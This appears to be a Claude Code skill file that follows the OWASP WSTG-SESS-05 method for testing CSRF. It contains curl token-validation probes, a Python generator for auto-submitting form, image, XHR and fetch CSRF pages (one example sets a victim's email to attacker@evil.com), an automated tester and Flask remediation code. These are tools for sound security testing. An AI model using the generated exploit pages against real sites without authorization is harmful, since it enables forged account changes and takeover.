Testing for Cross Site Request Forgery (CSRF)
Scanned 9/3/2026
Install to Claude Code
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---
name: wstg-sess-05
description: "Testing for Cross Site Request Forgery (CSRF)"
category: session-management
owasp_id: WSTG-SESS-05
version: "1.0.0"
author: cyberstrike-official
tags: [session, cookies, csrf, token, wstg, sess]
tech_stack: [html, javascript, cookies]
cwe_ids: [CWE-352]
chains_with: [wstg-inpv-02, wstg-athn-05]
prerequisites: [wstg-sess-01]
severity_boost: {}
---
# wstg-sess-05
## Test ID
WSTG-SESS-05
## Test Name
Testing for Cross Site Request Forgery (CSRF)
## High-Level Description
Cross-Site Request Forgery (CSRF) forces authenticated users to execute unwanted actions on a web application. Attackers craft malicious requests that are automatically sent by the victim's browser with their session credentials, allowing unauthorized actions like password changes, fund transfers, or data modifications.
---
## What to Check
- [ ] CSRF token implementation
- [ ] Token validation on server
- [ ] SameSite cookie attribute
- [ ] Origin/Referer validation
- [ ] State-changing GET requests
- [ ] Token uniqueness and randomness
---
## How to Test
### Step 1: Identify State-Changing Operations
```bash
# Find endpoints that modify data
# Look for: POST, PUT, DELETE, PATCH requests
# Examples:
# - Password change
# - Email update
# - Fund transfer
# - Settings modification
# - Account deletion
# Capture requests with Burp and identify:
# 1. Endpoints that change state
# 2. Presence of CSRF tokens
# 3. Token validation behavior
```
### Step 2: Check for CSRF Tokens
```bash
#!/bin/bash
TARGET="https://target.com"
# Get authenticated page with form
page=$(curl -s -b "session=valid_session" "$TARGET/settings")
# Look for CSRF tokens
echo "$page" | grep -iE "csrf|token|_token|authenticity" | head -10
# Common token names:
# csrf_token, _csrf, csrfmiddlewaretoken, __RequestVerificationToken
# authenticity_token, _token, XSRF-TOKEN
```
### Step 3: Test Token Validation
```bash
#!/bin/bash
TARGET="https://target.com"
SESSION="valid_session_cookie"
# Test 1: Request without token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123"}'
# Test 2: Request with empty token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":""}'
# Test 3: Request with invalid token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"invalid123"}'
# Test 4: Request with another user's token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"other_user_token"}'
```
### Step 4: CSRF PoC Generator
```python
#!/usr/bin/env python3
class CSRFPoCGenerator:
def generate_form_poc(self, target_url, method, params, auto_submit=True):
"""Generate HTML form CSRF PoC"""
html = f"""<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form id="csrf_form" action="{target_url}" method="{method}">
"""
for name, value in params.items():
html += f' <input type="hidden" name="{name}" value="{value}" />\n'
html += """ <input type="submit" value="Submit" />
</form>
"""
if auto_submit:
html += """ <script>
document.getElementById('csrf_form').submit();
</script>
"""
html += """</body>
</html>"""
return html
def generate_img_poc(self, target_url):
"""Generate image-based CSRF PoC (for GET)"""
return f"""<!DOCTYPE html>
<html>
<body>
<img src="{target_url}" style="display:none" />
</body>
</html>"""
def generate_xhr_poc(self, target_url, method, data, content_type="application/json"):
"""Generate XHR CSRF PoC"""
return f"""<!DOCTYPE html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("{method}", "{target_url}", true);
xhr.setRequestHeader("Content-Type", "{content_type}");
xhr.withCredentials = true;
xhr.send('{data}');
</script>
</body>
</html>"""
def generate_fetch_poc(self, target_url, method, data):
"""Generate Fetch API CSRF PoC"""
return f"""<!DOCTYPE html>
<html>
<body>
<script>
fetch("{target_url}", {{
method: "{method}",
credentials: "include",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({data})
}});
</script>
</body>
</html>"""
# Usage
generator = CSRFPoCGenerator()
# Form-based PoC
form_poc = generator.generate_form_poc(
"https://target.com/change-email",
"POST",
{"email": "attacker@evil.com"}
)
print(form_poc)
```
### Step 5: Comprehensive CSRF Tester
```python
#!/usr/bin/env python3
import requests
import re
from bs4 import BeautifulSoup
class CSRFTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.findings = []
def authenticate(self, login_endpoint, credentials):
"""Authenticate and get session"""
self.session.post(f"{self.base_url}{login_endpoint}", data=credentials)
def test_endpoint(self, endpoint, method, data):
"""Test single endpoint for CSRF"""
print(f"\n[*] Testing {method} {endpoint}")
# Test 1: Without CSRF token
print(" [1] Testing without token...")
response = self._make_request(endpoint, method, data, include_token=False)
if response.status_code in [200, 201, 302]:
print(" [VULN] Request accepted without CSRF token")
self.findings.append({
"endpoint": endpoint,
"issue": "No CSRF token required",
"severity": "High"
})
# Test 2: With empty token
print(" [2] Testing with empty token...")
data_with_empty = {**data, "csrf_token": ""}
response = self._make_request(endpoint, method, data_with_empty)
if response.status_code in [200, 201, 302]:
print(" [VULN] Empty CSRF token accepted")
self.findings.append({
"endpoint": endpoint,
"issue": "Empty CSRF token accepted",
"severity": "High"
})
# Test 3: With invalid token
print(" [3] Testing with invalid token...")
data_with_invalid = {**data, "csrf_token": "invalid_token_123"}
response = self._make_request(endpoint, method, data_with_invalid)
if response.status_code in [200, 201, 302]:
print(" [VULN] Invalid CSRF token accepted")
self.findings.append({
"endpoint": endpoint,
"issue": "Invalid CSRF token accepted",
"severity": "High"
})
def _make_request(self, endpoint, method, data, include_token=True):
"""Make request with/without token"""
url = f"{self.base_url}{endpoint}"
if method.upper() == "POST":
return self.session.post(url, data=data)
elif method.upper() == "PUT":
return self.session.put(url, json=data)
elif method.upper() == "DELETE":
return self.session.delete(url)
return None
def check_samesite_cookie(self):
"""Check SameSite cookie attribute"""
print("\n[*] Checking SameSite cookie attribute...")
response = self.session.get(self.base_url)
for cookie in self.session.cookies:
# Check raw Set-Cookie header for SameSite
print(f" Cookie: {cookie.name}")
# Note: requests doesn't expose SameSite directly
def generate_report(self):
"""Generate CSRF test report"""
print("\n" + "="*50)
print("CSRF TESTING REPORT")
print("="*50)
if not self.findings:
print("\nNo CSRF vulnerabilities found.")
return
print(f"\nVulnerabilities: {len(self.findings)}")
for f in self.findings:
print(f"\n Endpoint: {f['endpoint']}")
print(f" Issue: {f['issue']}")
print(f" Severity: {f['severity']}")
# Usage
tester = CSRFTester("https://target.com")
tester.authenticate("/login", {"username": "test", "password": "test"})
tester.test_endpoint("/api/change-email", "POST", {"email": "new@email.com"})
tester.test_endpoint("/api/change-password", "POST", {"password": "newpass"})
tester.generate_report()
```
---
## Remediation Guide
### 1. Implement CSRF Tokens
```python
# Flask with Flask-WTF
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# In template
# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>
```
### 2. SameSite Cookies
```python
app.config.update(
SESSION_COOKIE_SAMESITE='Strict',
SESSION_COOKIE_SECURE=True,
)
```
### 3. Origin Validation
```python
@app.before_request
def validate_origin():
if request.method in ['POST', 'PUT', 'DELETE']:
origin = request.headers.get('Origin')
referer = request.headers.get('Referer')
allowed_origins = ['https://example.com']
if origin and origin not in allowed_origins:
abort(403)
```
---
## Risk Assessment
| Finding | CVSS | Severity |
| --------------------- | ---- | -------- |
| No CSRF protection | 8.8 | High |
| Token not validated | 8.8 | High |
| GET for state changes | 6.5 | Medium |
---
## CWE Categories
| CWE ID | Title |
| ----------- | --------------------------------- |
| **CWE-352** | Cross-Site Request Forgery (CSRF) |
---
## Checklist
```
[ ] State-changing operations identified
[ ] CSRF token presence checked
[ ] Token validation tested
[ ] SameSite cookies checked
[ ] GET requests for state changes identified
[ ] PoC created for vulnerabilities
[ ] Findings documented
[ ] Remediation provided
```
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